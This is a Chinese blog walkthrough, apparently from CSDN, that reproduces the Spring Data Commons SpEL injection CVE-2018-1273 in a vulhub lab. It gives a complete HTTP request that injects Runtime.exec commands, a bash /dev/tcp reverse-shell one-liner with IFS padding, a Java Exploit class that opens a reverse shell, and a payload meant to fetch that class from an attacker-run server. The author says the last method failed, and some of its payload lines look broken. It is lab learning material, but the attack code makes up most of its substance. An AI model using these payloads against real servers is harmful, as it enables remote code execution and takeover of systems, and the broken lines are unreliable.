vulhub复现之spring Data Commons远程命令执行漏洞(CVE-2018-1273)漏洞复现

本文详细介绍了Spring Data Commons中的一个属性绑定器漏洞,该漏洞允许攻击者通过SPEL表达式注入执行任意命令。文章首先解释了Spring Data Commons的作用,然后展示了漏洞复现的步骤,包括构造POC和尝试反弹shell。作者还探讨了利用.class文件上传进行攻击的方法,虽然最终反弹命令未成功。整个过程揭示了Web应用安全的重要性。
摘要由CSDN通过智能技术生成

目录

spring Data

漏洞原因

环境

漏洞复现

反弹shell


看到这个还是先了解一下什么是spring Data Commons?

spring Data

Spring Data 是Spring 的一个子项目, 旨在统一和简化对各类型持久化存储, 而不拘泥于是关系型数据库还是NoSQL 数据存储。无论是哪种持久化存储, 数据访问对象(或称作为DAO,即Data Access Objects)通常都会提供对单一域对象的CRUD (创建、读取、更新、删除)操作、查询方法、排序和分页方法等。Spring Data则提供了基于这些层面的统一接口(CrudRepository,PagingAndSortingRepository)以及对持久化存储的实现。
springdata包含的子项目

spring Data Commons-提供共享的基础框架,适合各个子项目使用,支持跨数据库持久化

漏洞原因

spring Data Commons ,由于特殊元素的不正确中和而导致的属性绑定器漏洞。存在一处spEL表达式注入漏洞,攻击者可以注入恶意spEL表达式执行任意命令。

环境

打开ip+8080/users查看

漏洞复现

构造POC

 POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

在页面注册用burpsuite抓包

网页如果返回500可以进行攻击方判断是否成功

反弹shell

先开启一个监听端口9333

 Java Runtime.exe() 执行命令与反弹shell 要进行编码,java管道符无效的原因无法反弹,而且要使用IFS内部域分隔符,对空白处进行填充,不然也是反弹不回来的:
 

bash$IFS$9-i>&/dev/tcp/XXXXXX/port<&1

用base64在线编码把ip改成自己的攻击机

接着替换payload

 反弹成功

还有下面这是另一个方法!

上传一个编译的.class文件

poc如下

public class Exploit{
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/目标IP/2222 0>&1");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

用javac编译成.class文件

javac 文件名.java

 上传到root目录里

然后在服务器开启一个http服务用于访问下载文件:

查看是否创成功。

修改burpsuite内容,执行访问下载命令:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("http://目标IP::9999/Exploit.class")]=&password=&repeatedPassword=

 可以看到下载成功

这个最后反弹命令不对没成功呜呜呜

今天就是这个样子了~

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值